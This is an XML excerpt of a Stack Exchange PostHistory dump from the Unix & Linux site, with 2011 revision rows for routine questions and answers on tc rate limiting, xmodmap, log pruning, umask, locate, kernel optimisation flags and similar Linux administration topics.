  <row Id="33561" PostHistoryTypeId="12" PostId="13509" RevisionGUID="3c93ab60-c629-46b0-82a2-2cedb6a1e4cb" CreationDate="2011-05-20T15:59:54.333" UserId="7636" Text="[{&quot;Id&quot;:7636,&quot;DisplayName&quot;:&quot;jdborg&quot;}]" />
  <row Id="33562" PostHistoryTypeId="13" PostId="13509" RevisionGUID="01bba791-05f0-4e95-af48-e486203e2bfb" CreationDate="2011-05-20T16:00:19.713" UserId="7636" Text="[{&quot;Id&quot;:7636,&quot;DisplayName&quot;:&quot;jdborg&quot;}]" />
  <row Id="33563" PostHistoryTypeId="5" PostId="13509" RevisionGUID="d7167568-5a04-4b3b-b060-fa49003f6391" CreationDate="2011-05-20T16:01:34.457" UserId="7636" Comment="added 119 characters in body" Text="It depends on the size of your tx queue, if you're throttling hard then the TC can only drop rather than queue the packets, unfortunately I only know how to do this on cisco ios, not unix tc." />
  <row Id="33564" PostHistoryTypeId="5" PostId="13510" RevisionGUID="f1418c7d-7cf4-458e-904c-f4243cdc2652" CreationDate="2011-05-20T16:02:05.093" UserId="2974" Comment="added 117 characters in body" Text="&lt;pre&gt;&#xD;&#xA; *      prune - clips off the tops of a list of files described in the&#xD;&#xA; *              file /etc/default/prune. Designed to be run periodically&#xD;&#xA; *              from cron, the idea is to automatically shorten log&#xD;&#xA; *              files that grow forever. This file contains a list of&#xD;&#xA; *              files (full pathname), and the number of blocks that&#xD;&#xA; *              should be retained.  To retain some sanity, prune will&#xD;&#xA; *              clip the file after the next newline. The file&#xD;&#xA; *              /etc/default/prune should look something like:&#xD;&#xA; *&#xD;&#xA; *                      /usr/adm/aculog         10&#xD;&#xA; *                      /usr/adm/leo.log        5&#xD;&#xA; *                      /usr/adm/messages       200&#xD;&#xA; *                      /usr/adm/sup_log        5&#xD;&#xA; *&#xD;&#xA; *              The crontab entry on infoswx for prune looks like:&#xD;&#xA; *&#xD;&#xA; *                      0 5 * * * /etc/prune &gt;/usr/adm/prune.log 2&gt;&amp;1&#xD;&#xA; *&#xD;&#xA; *              Compile with:  cc -O -o prune prune.c&#xD;&#xA; *&#xD;&#xA; *              The following defines may be adjusted to suit your taste&#xD;&#xA; *              and your system block size.&#xD;&#xA; *&#xD;&#xA; *      Ray Davis  infoswx!bees  09/25/85&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;https://groups.google.com/group/mod.sources/browse_thread/thread/b2136b3ab7e924e/f785b37c218bb576?hl=en&amp;ie=UTF-8&amp;q=prune+log+file&amp;pli=1&#xD;&#xA;&#xD;&#xA;Many (most? all?) daemons will re-open their log files if sent a HUP signal (e.g. by same cron job that runs prune)" />
  <row Id="33565" PostHistoryTypeId="2" PostId="13513" RevisionGUID="23391038-6fe4-4f62-a7a6-cca282cbc4f6" CreationDate="2011-05-20T16:07:00.953" UserId="6993" Text="The problem arises when you try to add an keysym to an modifier which is already added to another modifier key. It is vital to know, that if you add an keysym to an modifier all other keysyms that companion the keysym in case are added also as to that modifier.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    clear mod5&#xD;&#xA;    add mod5    = ISO_Level3_Shift Mode_switch&#xD;&#xA;&#xD;&#xA;can result in &#xD;&#xA;&#xD;&#xA;    mod5        backslash (0x33),  Caps_Lock (0x42),  ISO_Level3_Shift (0x5c),  Mode_switch (0xcb)&#xD;&#xA;&#xD;&#xA;because you have something like&#xD;&#xA;&#xD;&#xA;    keycode  66 = Caps_Lock NoSymbol ISO_Level3_Shift&#xD;&#xA;&#xD;&#xA;in your ~/.Xmodmap (or .xmodmap,... You can view the current keycode to keysym mapping via &quot;*xmodmap -pke*&quot;)&#xD;&#xA;&#xD;&#xA;which will produce the BadValue error in question when you also try to do something like&#xD;&#xA;&#xD;&#xA;    add lock    = Caps_Lock&#xD;&#xA;&#xD;&#xA;because Caps_Lock is already added to the mod5 modifier.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33566" PostHistoryTypeId="2" PostId="13514" RevisionGUID="8b06c9c7-7299-45f5-be1c-b8d9bb3da569" CreationDate="2011-05-20T16:10:56.270" UserId="6993" Text="The problem arises when you try to add an keysym to an modifier which is already added to another modifier key. It is vital to know, that if you add an keysym to an modifier all other keysyms that companion the keysym in case are added also as to that modifier.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    clear mod5&#xD;&#xA;    add mod5    = ISO_Level3_Shift Mode_switch&#xD;&#xA;&#xD;&#xA;can result in &#xD;&#xA;&#xD;&#xA;    mod5        backslash (0x33),  Caps_Lock (0x42),  ISO_Level3_Shift (0x5c),  Mode_switch (0xcb)&#xD;&#xA;&#xD;&#xA;because you have something like&#xD;&#xA;&#xD;&#xA;    keycode  66 = Caps_Lock NoSymbol ISO_Level3_Shift&#xD;&#xA;&#xD;&#xA;in your ~/.Xmodmap (View the current keycode to keysym mapping via &quot;*xmodmap -pke*&quot;)&#xD;&#xA;&#xD;&#xA;which will produce the BadValue error in question when you also try to do something like&#xD;&#xA;&#xD;&#xA;    add lock    = Caps_Lock&#xD;&#xA;&#xD;&#xA;because Caps_Lock is already added to the mod5 modifier.&#xD;&#xA;" />
  <row Id="33567" PostHistoryTypeId="2" PostId="13515" RevisionGUID="bd05c56a-e311-4044-83bc-f96e99218672" CreationDate="2011-05-20T16:19:52.693" UserId="3032" Text="I'm working on a Linux distro, and it seems like Anaconda and Ubiquity aren't working for my needs.&#xD;&#xA;&#xD;&#xA;Are there any precautions one should take when coding an installer for a whole system? I was thinking to just create a graphical copy and paste application with configuration, as my base system is just a `squashfs` image.&#xD;&#xA;&#xD;&#xA;I've already got my partition script working (it just reads `blkid` and extracts data), so just before I go any further, am I going at this all wrong? How *do* the systems install themselves?&#xD;&#xA;" />
  <row Id="33568" PostHistoryTypeId="1" PostId="13515" RevisionGUID="bd05c56a-e311-4044-83bc-f96e99218672" CreationDate="2011-05-20T16:19:52.693" UserId="3032" Text="How would you code a Linux system installer?" />
  <row Id="33569" PostHistoryTypeId="3" PostId="13515" RevisionGUID="bd05c56a-e311-4044-83bc-f96e99218672" CreationDate="2011-05-20T16:19:52.693" UserId="3032" Text="élinuxàédistrosàéinstallerà" />
  <row Id="33570" PostHistoryTypeId="5" PostId="13503" RevisionGUID="165a69ce-ba23-4636-a0cd-c49d98447888" CreationDate="2011-05-20T16:20:09.667" UserId="7351" Comment="answer the question better" Text="This is a common misconception.&#xD;&#xA;&#xD;&#xA;Find follows the options syntax. You're just confusing expression primaries with options:&#xD;&#xA;&#xD;&#xA;     find [-H | -L | -P] [-EXdsx] [-f path] path ... [expression]&#xD;&#xA;     [cmd][--&gt;        options          &lt;--] [--&gt; arg0..argN  &lt;--]&#xD;&#xA;&#xD;&#xA;The alternative is locate. But find implements it's own expression syntax because it provides a richer set of filter and action options. There's no alternative that can do the same, simply because it would be redundant." />
  <row Id="33571" PostHistoryTypeId="5" PostId="13486" RevisionGUID="0c7db909-a51e-4b4e-a6fe-c806a0cdfbb2" CreationDate="2011-05-20T17:09:22.733" UserId="1925" Comment="added 267 characters in body" Text="It sounds like the `adduser` script you ran is broken in that it ran two different password setting programs. It's possible that the first one was a samba password or other alternate password system, but it's more likely just two different versions of the main system password program.&#xD;&#xA;&#xD;&#xA;The concern here would be if your system is compromised. I would verify the binaries against the package database and make sure they have not been changed on you. It is possible to modify such script to harvest password by asking for it credentials an extra time." />
  <row Id="33572" PostHistoryTypeId="5" PostId="1459" RevisionGUID="c84c01d9-cb78-4be6-a4ca-a2b5a739a619" CreationDate="2011-05-20T17:19:17.110" UserId="688" Comment="deleted 6 characters in body; edited title" Text="I have the following in a script&#xD;&#xA;&#xD;&#xA;    for server in ${servers[@]}; do&#xD;&#xA;     echo ${server}&#xD;&#xA;     ssh user@${server} &quot;for i in /tmp/foo* ; do echo ${i}; done&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;But it doesn't work. Weird thing, I see $I amount of return lines. So if I have ten files, I see ten blank lines." />
  <row Id="33573" PostHistoryTypeId="4" PostId="1459" RevisionGUID="c84c01d9-cb78-4be6-a4ca-a2b5a739a619" CreationDate="2011-05-20T17:19:17.110" UserId="688" Comment="deleted 6 characters in body; edited title" Text="Remote for-loop over SSH" />
  <row Id="33574" PostHistoryTypeId="5" PostId="1596" RevisionGUID="386b774a-a717-482e-b9f2-bcabe30dcf8d" CreationDate="2011-05-20T17:22:14.503" UserId="688" Comment="deleted 62 characters in body; edited title" Text="Following are other questions which I think I need to know:&#xD;&#xA;&#xD;&#xA;* From a non X Session? (meaning root isn't logged into X)&#xD;&#xA;&#xD;&#xA;* If multiple people were logged in on X, could I auto-detect who was on which screen, and thus programmatically detect which screen I need to launch the app on?&#xD;&#xA;&#xD;&#xA;* Can I launch the app as the user? ( ok I'm 99.999% sure this is a yes )&#xD;&#xA;&#xD;&#xA;* Can I detect if users of group X are logged in to X?" />
  <row Id="33575" PostHistoryTypeId="4" PostId="1596" RevisionGUID="386b774a-a717-482e-b9f2-bcabe30dcf8d" CreationDate="2011-05-20T17:22:14.503" UserId="688" Comment="deleted 62 characters in body; edited title" Text="Can I launch a graphical program on another user's desktop as root?" />
  <row Id="33576" PostHistoryTypeId="5" PostId="13508" RevisionGUID="3bc1c2d4-f4ed-46bf-8613-70f33dae01a6" CreationDate="2011-05-20T17:24:51.677" UserId="688" Comment="deleted 4 characters in body; edited title" Text="I use this tc command to limit upload speed on an interface: &#xD;&#xA;&#xD;&#xA;    tc qdisc add dev eth1 root tbf rate 2mbit burst 10kb latency 70ms peakrate 2.4mbit minburst 1540&#xD;&#xA;&#xD;&#xA;But it results in heavy packet loss. If the data coming via `eth0` (WAN) is 7 GB, it will be 6.2 GB on the rate-limited interface `eth1`. Are there any other rate limiting solutions that cause lesser packet loss? " />
  <row Id="33577" PostHistoryTypeId="4" PostId="13508" RevisionGUID="3bc1c2d4-f4ed-46bf-8613-70f33dae01a6" CreationDate="2011-05-20T17:24:51.677" UserId="688" Comment="deleted 4 characters in body; edited title" Text="Reducing packet loss in tc rate limiting" />
  <row Id="33578" PostHistoryTypeId="5" PostId="13511" RevisionGUID="6e3ca1ad-3d1a-47d4-8d35-be31a32141a2" CreationDate="2011-05-20T17:32:09.003" UserId="688" Comment="deleted 9 characters in body; edited title" Text="My computer acts strange - sometimes reboots spontanousely, sometimes does not want to boot. When I isse command &quot;mcelog&quot;, I receive such info: &#xD;&#xA;&#xD;&#xA;    HARDWARE ERROR. This is *NOT* a software problem!&#xD;&#xA;    Please contact your hardware vendor&#xD;&#xA;    MCE 0&#xD;&#xA;    CPU 0 BANK 0 &#xD;&#xA;    MISC 61f80000500010e ADDR cf9 &#xD;&#xA;    TIME 1305836650 Thu May 19 22:24:10 2011&#xD;&#xA;    MCG status:&#xD;&#xA;    MCi status:&#xD;&#xA;    Uncorrected error&#xD;&#xA;    MCi_MISC register valid&#xD;&#xA;    MCi_ADDR register valid&#xD;&#xA;    Processor context corrupt&#xD;&#xA;    MCA: BUS Level-3 Observed-error-as-third-party Generic Memory-access     Request-did-not-timeout Error&#xD;&#xA;    Model:Response hard fail&#xD;&#xA;    STATUS ae00030010020c03 MCGSTATUS 0&#xD;&#xA;    MCGCAP c0204 APICID 0 SOCKETID 0 &#xD;&#xA;    CPUID Vendor Intel Family 15 Model 4&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How can I read and understand it? Could somebody point me to some documentation?&#xD;&#xA;" />
  <row Id="33579" PostHistoryTypeId="4" PostId="13511" RevisionGUID="6e3ca1ad-3d1a-47d4-8d35-be31a32141a2" CreationDate="2011-05-20T17:32:09.003" UserId="688" Comment="deleted 9 characters in body; edited title" Text="Machine check exception - how to read and understand it?" />
  <row Id="33580" PostHistoryTypeId="5" PostId="13414" RevisionGUID="b630f6b3-759d-4204-8da1-5881c3894467" CreationDate="2011-05-20T17:33:27.923" UserId="688" Comment="added 9 characters in body; edited title" Text="How to paste text in a xterm? Now I can copy text from xterm to an outside application, like Firefox, by highlighting the text there. But I can not copy text from firefox to xterm. I am just normal user of linux system and dont have root access to install patches. Is there any workaround? &#xD;&#xA;&#xD;&#xA;System information is Linux version 2.6.18 (... @hs20-bc1-7. Build. Redhat. Com) &#xD;&#xA;&#xD;&#xA;Edit: One important fact I forgot to mention is that I'm using RealVNC to connect to the Linux server. Right-click works fine for prompt in my local Linux, but not the remote instance." />
  <row Id="33581" PostHistoryTypeId="4" PostId="13414" RevisionGUID="b630f6b3-759d-4204-8da1-5881c3894467" CreationDate="2011-05-20T17:33:27.923" UserId="688" Comment="added 9 characters in body; edited title" Text="How to copy text to xterm" />
  <row Id="33582" PostHistoryTypeId="2" PostId="13516" RevisionGUID="9cba55f1-9198-4808-ae4a-3e6946290995" CreationDate="2011-05-20T17:42:35.913" UserId="5945" Text="Hi  &#xD;&#xA;Currently i have ubuntu natty, with the unity as the default environment; but i just want to install KDE along side it, and i don't have a perfect band width. so i took Kubuntu 11.04 cdrom from my friend and inserted it to my cdrom. after running `apt-cdrom add` it prints out this:&#xD;&#xA;&#xD;&#xA;    Using CD-ROM mount point /media/apt/&#xD;&#xA;    Identifying.. [ce3c168e46b345c6adc05b209f603d08-2]&#xD;&#xA;    Scanning disc for index files..&#xD;&#xA;    &#xD;&#xA;    E: Unable to stat the mount point /media/Kubuntu\04011.04\040amd64/ - stat (2: No such file or directory)&#xD;&#xA;    E: Unable to stat the mount point /media/Kubuntu\04011.04\040amd64/ - stat (2: No such file or directory)&#xD;&#xA;&#xD;&#xA;i have tested the cdrom for the infections but it was just ok. what's the problem?  &#xD;&#xA;&#xD;&#xA;thanx a lot ;-)" />
  <row Id="33583" PostHistoryTypeId="1" PostId="13516" RevisionGUID="9cba55f1-9198-4808-ae4a-3e6946290995" CreationDate="2011-05-20T17:42:35.913" UserId="5945" Text="Installing KDE on Ubuntu natty from cdrom" />
  <row Id="33584" PostHistoryTypeId="3" PostId="13516" RevisionGUID="9cba55f1-9198-4808-ae4a-3e6946290995" CreationDate="2011-05-20T17:42:35.913" UserId="5945" Text="éubuntuàékdeà" />
  <row Id="33585" PostHistoryTypeId="5" PostId="10332" RevisionGUID="73d94aa4-a4c8-47e6-883c-68762c59523a" CreationDate="2011-05-20T17:45:38.477" UserId="688" Comment="rm flames" Text="Does anyone know why the ACPI namespace keeps changing? I had a script a while back on a Red Hat system which read the CPU temperature from '/proc/acpi/thermal_zone/THRM'. Now I have a new (but similar hardware) and relatively same distro (except for a few drivers here and there) and it has changed to '/proc/acpi/thermal_zone/TZ00' and '/proc/acpi/thermal_zone/TZ01'?&#xD;&#xA;&#xD;&#xA;Is this even the CPU thermal? Or is it for something else?&#xD;&#xA;&#xD;&#xA;I know most will say, read the ACPI docs... But that's beyond the point. Why and who keeps changing the namespace?" />
  <row Id="33586" PostHistoryTypeId="5" PostId="9349" RevisionGUID="ae3f58bd-ca1c-49d8-ad32-f7db5640f894" CreationDate="2011-05-20T17:48:09.813" UserId="688" Comment="m apology" Text="I've realized that the permissions for new files and directories behave a bit strangely. First of all, umask seems to return the right answer: &#xD;&#xA;&#xD;&#xA;    $ umask&#xD;&#xA;    0002&#xD;&#xA;&#xD;&#xA;This means full access for my user and my group, no write access for the rest of the world, no suid. But if I create a file in my $HOME, this is how it looks: &#xD;&#xA;&#xD;&#xA;    $ ls -l testfile &#xD;&#xA;    -rw-rw-rw- 1 robe robe 0 mar 16 12:58 testfile&#xD;&#xA;&#xD;&#xA;i.e. , giving write access to everyone. The same happens with directories: &#xD;&#xA;&#xD;&#xA;    $ ls -ld testdir&#xD;&#xA;    drwxrwxrwx 2 robe robe 6 mar 16 13:00 testdir&#xD;&#xA;&#xD;&#xA;I think this is the same as having umask 0000, not 0002. I've searched all /etc for some instance of umask that changes the default 0002 or 0022, but found none. This is a default CentOS 5.5 install. Any hint of why is this happening?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33587" PostHistoryTypeId="5" PostId="7473" RevisionGUID="4688ac1f-7c9d-4622-a423-17e44ae89c19" CreationDate="2011-05-20T17:50:17.987" UserId="688" Comment="deleted 12 characters in body" Text="I'm looking for a wireless router for personal use. I have a small apartment and need the router primarily for my android phone connection. I might need it for streaming video as well.  &#xD;&#xA;&#xD;&#xA;I'm running Kubuntu on a ThinkPad T61p.&#xD;&#xA;&#xD;&#xA;My wireless card is: &#xD;&#xA;&#xD;&#xA;Intel Corporation PRO/Wireless 4965 AG or AGN [Kedron] Network Connection (rev 61)&#xD;&#xA;&#xD;&#xA;I'm looking for a reasonably feature-rich router that I will not have to change in the next 2-3 years.  &#xD;&#xA;&#xD;&#xA;Some of the brands I've been recommended so far are: &#xD;&#xA;NetGear such as  WNR3500L or 3500 &#xD;&#xA;D-Link such as DIR 655 &#xD;&#xA;Linksys&#xD;&#xA;&#xD;&#xA;Any ideas? Or any up2date list?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33588" PostHistoryTypeId="5" PostId="13516" RevisionGUID="c5db7761-4f1f-4112-98a4-61e48456882c" CreationDate="2011-05-20T17:56:54.347" UserId="688" Comment="deleted 24 characters in body; edited title" Text="Currently I have Ubuntu 11.04 - Natty, with Unity as the default environment; but I just want to install KDE along-side it, and I don't have perfect bandwidth. So I took Kubuntu 11.04 cdrom from my friend and inserted it to my cdrom. After running `apt-cdrom add` it prints out this: &#xD;&#xA;&#xD;&#xA;    Using CD-ROM mount point /media/apt/&#xD;&#xA;    Identifying.. [ce3c168e46b345c6adc05b209f603d08-2]&#xD;&#xA;    Scanning disc for index files..&#xD;&#xA;    &#xD;&#xA;    E: Unable to stat the mount point /media/Kubuntu\04011.04\040amd64/ - stat (2: No such file or directory)&#xD;&#xA;    E: Unable to stat the mount point /media/Kubuntu\04011.04\040amd64/ - stat (2: No such file or directory)&#xD;&#xA;&#xD;&#xA;I have tested the cdrom for the infections but it was just ok. What's the problem? " />
  <row Id="33589" PostHistoryTypeId="4" PostId="13516" RevisionGUID="c5db7761-4f1f-4112-98a4-61e48456882c" CreationDate="2011-05-20T17:56:54.347" UserId="688" Comment="deleted 24 characters in body; edited title" Text="Installing KDE on Ubuntu Natty from cdrom" />
  <row Id="33590" PostHistoryTypeId="5" PostId="1583" RevisionGUID="58189829-a0c7-48c9-a59e-b1b564e4381a" CreationDate="2011-05-20T17:59:47.060" UserId="688" Comment="deleted 11 characters in body; edited tags; edited title" Text="It seems like when I have certain web pages focused, my screensaver will kick in, but the screen won't turn itself off. Does anyone have any ideas why this might be? Is there a way to disable whatever is keeping DPMS from kicking in?" />
  <row Id="33591" PostHistoryTypeId="4" PostId="1583" RevisionGUID="58189829-a0c7-48c9-a59e-b1b564e4381a" CreationDate="2011-05-20T17:59:47.060" UserId="688" Comment="deleted 11 characters in body; edited tags; edited title" Text="Screen doesn't always shut off on its own" />
  <row Id="33592" PostHistoryTypeId="6" PostId="1583" RevisionGUID="58189829-a0c7-48c9-a59e-b1b564e4381a" CreationDate="2011-05-20T17:59:47.060" UserId="688" Comment="deleted 11 characters in body; edited tags; edited title" Text="éxorgàékdeàéchromeàépowerömanagementàédpmsà" />
  <row Id="33593" PostHistoryTypeId="5" PostId="1563" RevisionGUID="42a5b443-33a4-4540-b1cc-33997d014d18" CreationDate="2011-05-20T18:11:56.613" UserId="688" Comment="deleted 25 characters in body; edited tags" Text="I am using Fedora 13 and its working great. The only problem which I am facing is that the networking gets automatically disabled if I put my system on the &quot;SUSPEND&quot; mode for &gt; 30mins. I am unable to enable it even after right clicking. Then I have to restart my system, to get the internet working. Can anyone show me how to rectify this!" />
  <row Id="33594" PostHistoryTypeId="6" PostId="1563" RevisionGUID="42a5b443-33a4-4540-b1cc-33997d014d18" CreationDate="2011-05-20T18:11:56.613" UserId="688" Comment="deleted 25 characters in body; edited tags" Text="éfedoraàénetworkingà" />
  <row Id="33595" PostHistoryTypeId="25" PostId="13516" RevisionGUID="75328fd3-e43a-4858-8d3f-aaf9e06b5449" CreationDate="2011-05-20T18:12:27.547" Comment="http://twitter.com/#!/StackUnix/status/71639437091676160" />
  <row Id="33596" PostHistoryTypeId="5" PostId="1559" RevisionGUID="2b146f26-49b2-4c9e-a8ee-4db5f0d6eca6" CreationDate="2011-05-20T18:15:40.180" UserId="688" Comment="added 3 characters in body; edited title" Text="Something strange started happening to my terminal. Whenever I type some wrong command it tries to run that command in the background.&#xD;&#xA;&#xD;&#xA;    hegeek@colinux: ~# l   &#xD;&#xA;    [9]+  Stopped   l  &#xD;&#xA;    thegeek@colinux: ~# fdsl  &#xD;&#xA;     &#xD;&#xA;    [10]+  Stopped                 fdsl  &#xD;&#xA;&#xD;&#xA;What could be the issue?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;EDIT: &#xD;&#xA;&#xD;&#xA;After restarting the system the issue is solved. But I am still curious what caused this issue. I think it has to do something with `command_not_found_handle` shell function. While trying to find the command, it was doing something weird.  " />
  <row Id="33597" PostHistoryTypeId="4" PostId="1559" RevisionGUID="2b146f26-49b2-4c9e-a8ee-4db5f0d6eca6" CreationDate="2011-05-20T18:15:40.180" UserId="688" Comment="added 3 characters in body; edited title" Text="Whenever I type some wrong command, my terminal tries to run that command in the background" />
  <row Id="33598" PostHistoryTypeId="5" PostId="1542" RevisionGUID="d208195a-b74f-4245-8f7a-a1da2b7337c5" CreationDate="2011-05-20T18:21:01.597" UserId="688" Comment="deleted 19 characters in body; edited tags; edited title" Text="I know that in order to suppress the output of a program I can redirect it to `/dev/null`, for example to hide all error and warning messages from chromium I can start the program like this&#xD;&#xA;&#xD;&#xA;    chromium-browser 2&gt; /dev/null &amp;&#xD;&#xA;&#xD;&#xA;However, if I happen to forget about the error messages and type&#xD;&#xA;&#xD;&#xA;    chromium-browser &amp;&#xD;&#xA;(which is quite annoying when they appear in the middle of a command) I don't know what to do except for stopping the application and starting it again properly.&#xD;&#xA;&#xD;&#xA;Can I somehow redirect error output without restarting the application?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33599" PostHistoryTypeId="4" PostId="1542" RevisionGUID="d208195a-b74f-4245-8f7a-a1da2b7337c5" CreationDate="2011-05-20T18:21:01.597" UserId="688" Comment="deleted 19 characters in body; edited tags; edited title" Text="How to redirect output of a running program to /dev/null" />
  <row Id="33600" PostHistoryTypeId="6" PostId="1542" RevisionGUID="d208195a-b74f-4245-8f7a-a1da2b7337c5" CreationDate="2011-05-20T18:21:01.597" UserId="688" Comment="deleted 19 characters in body; edited tags; edited title" Text="éioöredirectionà" />
  <row Id="33601" PostHistoryTypeId="5" PostId="1176" RevisionGUID="2a07f034-051e-4725-bfc5-4cfd75af2308" CreationDate="2011-05-20T18:24:21.767" UserId="688" Comment="added 1 characters in body; edited tags; edited title" Text="I've recently installed Ubuntu Server 10.04. I already have configured the basics and now I want to associate Windows and Mac OSX machines with the users created on Ubuntu so that when I login in one of these machines, the network be configured automatically with user home directory and permissions.&#xD;&#xA;&#xD;&#xA;Currently the network is working with Samba, and the login is typed when a try to access the server. So, what I need now is the login associated with workstations initial login prompt.&#xD;&#xA;&#xD;&#xA;Also, in Mac machines I want to automatically mount the network when I login.&#xD;&#xA;&#xD;&#xA;I will appreciate if someone provide me some resources and best practices to do such a thing.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33602" PostHistoryTypeId="6" PostId="1176" RevisionGUID="2a07f034-051e-4725-bfc5-4cfd75af2308" CreationDate="2011-05-20T18:24:21.767" UserId="688" Comment="added 1 characters in body; edited tags; edited title" Text="éloginàésambaàéfileöserverà" />
  <row Id="33603" PostHistoryTypeId="4" PostId="1176" RevisionGUID="2a07f034-051e-4725-bfc5-4cfd75af2308" CreationDate="2011-05-20T18:24:21.767" UserId="688" Comment="added 1 characters in body; edited tags; edited title" Text="Which steps I have to follow to configure Ubuntu server with Mac and Windows workstations?" />
  <row Id="33604" PostHistoryTypeId="5" PostId="1597" RevisionGUID="4ad26248-2ecc-4750-81db-31d41bcb9baf" CreationDate="2011-05-20T18:26:14.463" UserId="688" Comment="added 9 characters in body; edited title; edited title" Text="It's said that compiling GNU tools and Linux kernel with `-O3` gcc optimization option will produce weird and funky bugs. Is it true? Has anyone tried it or is it just a hoax?" />
  <row Id="33605" PostHistoryTypeId="4" PostId="1597" RevisionGUID="4ad26248-2ecc-4750-81db-31d41bcb9baf" CreationDate="2011-05-20T18:26:14.463" UserId="688" Comment="added 9 characters in body; edited title; edited title" Text="Compiling GNU/Linux with -O3 optimization" />
  <row Id="33606" PostHistoryTypeId="5" PostId="1609" RevisionGUID="7ef3e51a-3a4f-4a36-9313-c1551a4c21e6" CreationDate="2011-05-20T18:27:30.110" UserId="688" Comment="added 10 characters in body" Text="It's used in Gentoo, and I didn't notice anything unusual." />
  <row Id="33607" PostHistoryTypeId="5" PostId="1622" RevisionGUID="7f4acf63-3b5c-4914-bb0d-e6a1958254a1" CreationDate="2011-05-20T18:30:51.480" UserId="688" Comment="added 10 characters in body" Text="`-O3` has several disadvantages:&#xD;&#xA;&#xD;&#xA;1. First of all it often produces slower code than `-O2` or `-Os`. Sometimes it produces longer code due to loop unrolling which may be in fact slower due to worse cache performance of code.&#xD;&#xA;2. As it was said it sometimes produces wrong code. It may be either due to error in optimalization or error in code (like ignoring strict aliasing). As kernel code sometimes is and sometimes have to be 'smart' I'd say it is possible that some kernel developer made some error. I experienced various strange problems, like crashing of userspace utilities, when I compiled kernel with gcc 4.5 which at that point was stable. I still use gcc 4.4 for kernel and several selected userspace utilities due to various bugs. The same may apply for `-O3`.&#xD;&#xA;3. I don't think it offers much benefit for the Linux kernel. The kernel does not do heavy computations and in places it does, it is optimized with assembly. `-O3` flag will **not** change the cost of context switching or speed of I/O. I don't think something like &lt;0.1% speedup of overall performance is worth it.&#xD;&#xA;" />
  <row Id="33608" PostHistoryTypeId="5" PostId="1637" RevisionGUID="56813793-ada7-4d69-a132-843332b93e9f" CreationDate="2011-05-20T18:34:55.750" UserId="688" Comment="added 5 characters in body; deleted 3 characters in body" Text="Maybe you can try:&#xD;&#xA;&#xD;&#xA; 1. Uninstall google-chrome completely: `sudo apt-get purge google-chrome`&#xD;&#xA;&#xD;&#xA; 2. Check within your $HOME that there's nothing left (configuration is in `~/.config/google-chrome`)&#xD;&#xA;&#xD;&#xA; 3. Also check that the application shortcut that is gone using `find ~ -iname &quot;*chrome*&quot;` (it's a . Desktop file)&#xD;&#xA;&#xD;&#xA; 4. Then cross  your fingers and reinstall?&#xD;&#xA;&#xD;&#xA;As I'm running chromium-browser and not google-chrome the names above might be different, but that shouldn't be a problem." />
  <row Id="33609" PostHistoryTypeId="5" PostId="1510" RevisionGUID="53127682-6044-4405-b953-dfa68426611e" CreationDate="2011-05-20T18:37:06.433" UserId="688" Comment="added 4 characters in body" Text="According to the documentation I can execute a program somewhat like so:&#xD;&#xA;&#xD;&#xA;    destination knotifier { program('/path/to/executable'; };&#xD;&#xA;&#xD;&#xA;And it will send the log to the stdin of the executable. But what if the program I'm executing would need the input as an argument to an option? Is there a way to do that? Or do I have to write a wrapper for the program I'm executing?" />
  <row Id="33610" PostHistoryTypeId="2" PostId="13517" RevisionGUID="2ebbde9d-db94-4bb5-92a2-0530db8cdad9" CreationDate="2011-05-20T18:40:31.153" UserId="732" Text="You could try an X11 program like [xcb][1] to view what you have just selected.  Unfortunately, things like Firefox and Chromium don't seem to follow whatever convention xcb uses, so it's not a complete solution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://oldhome.schmorp.de/marc/xcb.html" />
  <row Id="33611" PostHistoryTypeId="2" PostId="13518" RevisionGUID="77d6b241-0a29-4ce0-affa-c53a1a552b38" CreationDate="2011-05-20T19:15:35.977" UserId="195" Text="I would take a look at `locate`. It will look through its database of files and quickly print out path names that match what you give.&#xD;&#xA;&#xD;&#xA;    kevin@box:~$ locate odg&#xD;&#xA;    /home/kevin/Documents/final.odg&#xD;&#xA;    /usr/share/doc/packages/sysconfig/netconfig.odg&#xD;&#xA;    /usr/share/gimp/2.0/help/en/gimp-tool-doge-burn.html&#xD;&#xA;    ....&#xD;&#xA;    kevin@box:~$ locate .odg&#xD;&#xA;    /home/kevin/Documents/final.odg&#xD;&#xA;    /usr/share/doc/packages/sysconfig/netconfig.odg&#xD;&#xA;    kevin@box:~$ &#xD;&#xA;&#xD;&#xA;As you can see, it is a sub-text match: if you give it `odg`, then it will match d&lt;b&gt;odg&lt;/b&gt;e. But if you give it `.odg`, then it won't.&#xD;&#xA;&#xD;&#xA;There is one downside, though: it needs a database. This database needs to be updated when things change. My Fedora 13 install has this put into a daily crontab, though." />
  <row Id="33612" PostHistoryTypeId="5" PostId="13489" RevisionGUID="6d521e1e-13b9-4530-8e11-b16754596776" CreationDate="2011-05-20T19:18:55.473" UserId="1925" Comment="deleted 32 characters in body" Text="I just installed QT 4.7.3 in OpenSuse 11.2 (which has 4.5.3). I ran `configure`, `gmake`, and `gmake install`, but when I check qmake's version, it's still returning 4.5.3.&#xD;&#xA;&#xD;&#xA;What should I do? " />
